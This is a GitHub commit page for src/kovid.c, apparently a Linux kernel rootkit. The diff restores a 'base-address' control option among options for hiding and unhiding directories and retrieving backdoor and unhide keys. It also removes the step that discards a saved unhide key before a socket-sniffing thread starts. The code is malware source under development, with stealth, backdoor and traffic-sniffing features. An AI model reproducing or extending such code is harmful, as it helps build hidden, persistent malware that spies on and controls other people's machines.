Skip to content

Commit

Permalink
clang: base-address removed by accident
Browse files Browse the repository at this point in the history
and remove useless copy modification
  • Loading branch information
JNE committed Dec 30, 2024
1 parent 7551136 commit 6e38f84
Showing 1 changed file with 1 addition and 3 deletions.
4 changes: 1 addition & 3 deletions src/kovid.c
Original file line number Diff line number Diff line change
Expand Up @@ -473,6 +473,7 @@ static const match_table_t tokens = {
{ Opt_unhide_directory, "unhide-directory=%s" },

{ Opt_journalclt, "journal-flush" },
{Opt_fetch_base_address, "base-address=%d"},
#ifdef DEBUG_RING_BUFFER
{ Opt_get_bdkey, "get-bdkey" },
{ Opt_get_unhidekey, "get-unhidekey" },
Expand Down Expand Up @@ -872,9 +873,6 @@ static int __init kv_init(void)
memcpy(buf, &auto_unhidekey, 8);
kv_encrypt(kvmgc_unhidekey, buf, sizeof(buf));

/** discard saved key */
auto_unhidekey = 0;

tsk_sniff = kv_sock_start_sniff();
if (!tsk_sniff)
goto background_error;
Expand Down

0 comments on commit 6e38f84

Please sign in to comment.